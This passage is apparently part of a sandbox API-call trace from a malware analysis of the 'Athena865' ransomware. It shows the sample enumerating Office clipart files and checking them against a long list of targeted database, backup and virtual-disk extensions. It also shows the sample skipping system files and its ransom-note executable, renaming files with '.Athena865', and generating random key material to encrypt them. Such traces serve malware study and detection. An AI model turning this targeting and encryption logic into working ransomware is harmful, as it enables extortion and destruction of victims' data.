lpString2="maw") returned 1 [0128.684] lstrlenW (lpString="mdbhtml") returned 7 [0128.684] lstrcmpiW (lpString1="001.WMF", lpString2="mdbhtml") returned -1 [0128.684] lstrlenW (lpString="mdn") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.684] lstrlenW (lpString="mdt") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.684] lstrlenW (lpString="mfd") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.684] lstrlenW (lpString="mpd") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.684] lstrlenW (lpString="mrg") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.684] lstrlenW (lpString="mud") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.684] lstrlenW (lpString="mwb") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.684] lstrlenW (lpString="myd") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.684] lstrlenW (lpString="ndf") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.684] lstrlenW (lpString="nnt") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.684] lstrlenW (lpString="nrmlib") returned 6 [0128.684] lstrcmpiW (lpString1="01.WMF", lpString2="nrmlib") returned -1 [0128.684] lstrlenW (lpString="ns2") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.685] lstrlenW (lpString="ns3") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.685] lstrlenW (lpString="ns4") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.685] lstrlenW (lpString="nsf") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.685] lstrlenW (lpString="nv") returned 2 [0128.685] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.685] lstrlenW (lpString="nv2") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.685] lstrlenW (lpString="nwdb") returned 4 [0128.685] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.685] lstrlenW (lpString="nyf") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.685] lstrlenW (lpString="odb") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.685] lstrlenW (lpString="odb") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.685] lstrlenW (lpString="oqy") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.685] lstrlenW (lpString="ora") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.685] lstrlenW (lpString="orx") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.685] lstrlenW (lpString="owc") returned 3 [0128.685] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.685] lstrlenW (lpString="p96") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.686] lstrlenW (lpString="p97") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.686] lstrlenW (lpString="pan") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.686] lstrlenW (lpString="pdb") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.686] lstrlenW (lpString="pdm") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.686] lstrlenW (lpString="pnz") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.686] lstrlenW (lpString="qry") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.686] lstrlenW (lpString="qvd") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.686] lstrlenW (lpString="rbf") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.686] lstrlenW (lpString="rctd") returned 4 [0128.686] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.686] lstrlenW (lpString="rod") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.686] lstrlenW (lpString="rodx") returned 4 [0128.686] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.686] lstrlenW (lpString="rpd") returned 3 [0128.686] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.686] lstrlenW (lpString="rsd") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.687] lstrlenW (lpString="sas7bdat") returned 8 [0128.687] lstrcmpiW (lpString1="4001.WMF", lpString2="sas7bdat") returned -1 [0128.687] lstrlenW (lpString="sbf") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.687] lstrlenW (lpString="scx") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.687] lstrlenW (lpString="sdb") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.687] lstrlenW (lpString="sdc") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.687] lstrlenW (lpString="sdf") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.687] lstrlenW (lpString="sis") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.687] lstrlenW (lpString="spq") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.687] lstrlenW (lpString="te") returned 2 [0128.687] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.687] lstrlenW (lpString="teacher") returned 7 [0128.687] lstrcmpiW (lpString1="001.WMF", lpString2="teacher") returned -1 [0128.687] lstrlenW (lpString="tmd") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.687] lstrlenW (lpString="tps") returned 3 [0128.687] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.687] lstrlenW (lpString="trc") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.688] lstrlenW (lpString="trc") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.688] lstrlenW (lpString="trm") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.688] lstrlenW (lpString="udb") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.688] lstrlenW (lpString="udl") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.688] lstrlenW (lpString="usr") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.688] lstrlenW (lpString="v12") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.688] lstrlenW (lpString="vis") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.688] lstrlenW (lpString="vpd") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.688] lstrlenW (lpString="vvv") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.688] lstrlenW (lpString="wdb") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.688] lstrlenW (lpString="wmdb") returned 4 [0128.688] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.688] lstrlenW (lpString="wrk") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.688] lstrlenW (lpString="xdb") returned 3 [0128.688] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.689] lstrlenW (lpString="xld") returned 3 [0128.689] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.689] lstrlenW (lpString="xmlff") returned 5 [0128.689] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0128.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.Athena865") returned 73 [0128.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.athena865"), dwFlags=0x1) returned 1 [0128.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.690] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19264) returned 1 [0128.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.691] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.691] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.691] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e40, lpName=0x0) returned 0x154 [0128.695] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e40) returned 0x100000 [0128.696] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.697] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.697] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.698] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.698] CloseHandle (hObject=0x154) returned 1 [0128.698] CloseHandle (hObject=0x17c) returned 1 [0128.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.698] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0128.698] lstrcmpiW (lpString1="J0234376.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.698] lstrcmpiW (lpString1="J0234376.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.698] lstrcmpiW (lpString1="J0234376.WMF", lpString2=".") returned 1 [0128.698] lstrcmpiW (lpString1="J0234376.WMF", lpString2="..") returned 1 [0128.698] lstrcmpiW (lpString1="J0234376.WMF", lpString2="windows") returned -1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="bootmgr") returned 1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="temp") returned -1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="pagefile.sys") returned -1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="boot") returned 1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ids.txt") returned 1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="ntuser.dat") returned -1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="perflogs") returned -1 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2="MSBuild") returned -1 [0128.699] lstrlenW (lpString="J0234376.WMF") returned 12 [0128.699] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0234376.WMF" | out: lpString1="J0234376.WMF") returned="J0234376.WMF" [0128.699] lstrlenW (lpString="J0234376.WMF") returned 12 [0128.699] lstrlenW (lpString="Athena865") returned 9 [0128.699] lstrcmpiW (lpString1="34376.WMF", lpString2="Athena865") returned -1 [0128.699] lstrlenW (lpString=".dll") returned 4 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2=".dll") returned 1 [0128.699] lstrlenW (lpString=".lnk") returned 4 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2=".lnk") returned 1 [0128.699] lstrlenW (lpString=".ini") returned 4 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2=".ini") returned 1 [0128.699] lstrlenW (lpString=".sys") returned 4 [0128.699] lstrcmpiW (lpString1="J0234376.WMF", lpString2=".sys") returned 1 [0128.699] lstrlenW (lpString="J0234376.WMF") returned 12 [0128.699] lstrlenW (lpString="bak") returned 3 [0128.699] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.699] lstrlenW (lpString="ba_") returned 3 [0128.699] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.700] lstrlenW (lpString="dbb") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.700] lstrlenW (lpString="vmdk") returned 4 [0128.700] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.700] lstrlenW (lpString="rar") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.700] lstrlenW (lpString="zip") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.700] lstrlenW (lpString="tgz") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.700] lstrlenW (lpString="vbox") returned 4 [0128.700] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.700] lstrlenW (lpString="vdi") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.700] lstrlenW (lpString="vhd") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.700] lstrlenW (lpString="vhdx") returned 4 [0128.700] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.700] lstrlenW (lpString="avhd") returned 4 [0128.700] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.700] lstrlenW (lpString="db") returned 2 [0128.700] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.700] lstrlenW (lpString="db2") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.700] lstrlenW (lpString="db3") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.700] lstrlenW (lpString="dbf") returned 3 [0128.700] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.701] lstrlenW (lpString="mdf") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.701] lstrlenW (lpString="mdb") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.701] lstrlenW (lpString="sql") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.701] lstrlenW (lpString="sqlite") returned 6 [0128.701] lstrcmpiW (lpString1="76.WMF", lpString2="sqlite") returned -1 [0128.701] lstrlenW (lpString="sqlite3") returned 7 [0128.701] lstrcmpiW (lpString1="376.WMF", lpString2="sqlite3") returned -1 [0128.701] lstrlenW (lpString="sqlitedb") returned 8 [0128.701] lstrcmpiW (lpString1="4376.WMF", lpString2="sqlitedb") returned -1 [0128.701] lstrlenW (lpString="xml") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.701] lstrlenW (lpString="$er") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.701] lstrlenW (lpString="4dd") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.701] lstrlenW (lpString="4dl") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.701] lstrlenW (lpString="^^^") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.701] lstrlenW (lpString="abs") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.701] lstrlenW (lpString="abx") returned 3 [0128.701] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.701] lstrlenW (lpString="accdb") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accdb") returned -1 [0128.702] lstrlenW (lpString="accdc") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accdc") returned -1 [0128.702] lstrlenW (lpString="accde") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accde") returned -1 [0128.702] lstrlenW (lpString="accdr") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accdr") returned -1 [0128.702] lstrlenW (lpString="accdt") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accdt") returned -1 [0128.702] lstrlenW (lpString="accdw") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accdw") returned -1 [0128.702] lstrlenW (lpString="accft") returned 5 [0128.702] lstrcmpiW (lpString1="6.WMF", lpString2="accft") returned -1 [0128.702] lstrlenW (lpString="adb") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.702] lstrlenW (lpString="adb") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.702] lstrlenW (lpString="ade") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.702] lstrlenW (lpString="adf") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.702] lstrlenW (lpString="adn") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.702] lstrlenW (lpString="adp") returned 3 [0128.702] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.702] lstrlenW (lpString="alf") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.703] lstrlenW (lpString="ask") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.703] lstrlenW (lpString="btr") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.703] lstrlenW (lpString="cat") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.703] lstrlenW (lpString="cdb") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.703] lstrlenW (lpString="ckp") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.703] lstrlenW (lpString="cma") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.703] lstrlenW (lpString="cpd") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.703] lstrlenW (lpString="dacpac") returned 6 [0128.703] lstrcmpiW (lpString1="76.WMF", lpString2="dacpac") returned -1 [0128.703] lstrlenW (lpString="dad") returned 3 [0128.703] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.703] lstrlenW (lpString="dadiagrams") returned 10 [0128.703] lstrcmpiW (lpString1="234376.WMF", lpString2="dadiagrams") returned -1 [0128.703] lstrlenW (lpString="daschema") returned 8 [0128.703] lstrcmpiW (lpString1="4376.WMF", lpString2="daschema") returned -1 [0128.703] lstrlenW (lpString="db-journal") returned 10 [0128.703] lstrcmpiW (lpString1="234376.WMF", lpString2="db-journal") returned -1 [0128.703] lstrlenW (lpString="db-shm") returned 6 [0128.704] lstrcmpiW (lpString1="76.WMF", lpString2="db-shm") returned -1 [0128.704] lstrlenW (lpString="db-wal") returned 6 [0128.704] lstrcmpiW (lpString1="76.WMF", lpString2="db-wal") returned -1 [0128.704] lstrlenW (lpString="dbc") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.704] lstrlenW (lpString="dbs") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.704] lstrlenW (lpString="dbt") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.704] lstrlenW (lpString="dbv") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.704] lstrlenW (lpString="dbx") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.704] lstrlenW (lpString="dcb") returned 3 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.704] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.704] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.Athena865") returned 73 [0128.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.athena865"), dwFlags=0x1) returned 1 [0128.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.706] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32980) returned 1 [0128.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.707] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.708] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.708] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83e0, lpName=0x0) returned 0x154 [0128.709] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83e0) returned 0x100000 [0128.712] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.713] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.713] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.714] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.714] CloseHandle (hObject=0x154) returned 1 [0128.714] CloseHandle (hObject=0x17c) returned 1 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2=".") returned 1 [0128.715] lstrcmpiW (lpString1="J0237225.WMF", lpString2="..") returned 1 [0128.715] lstrcmpiW 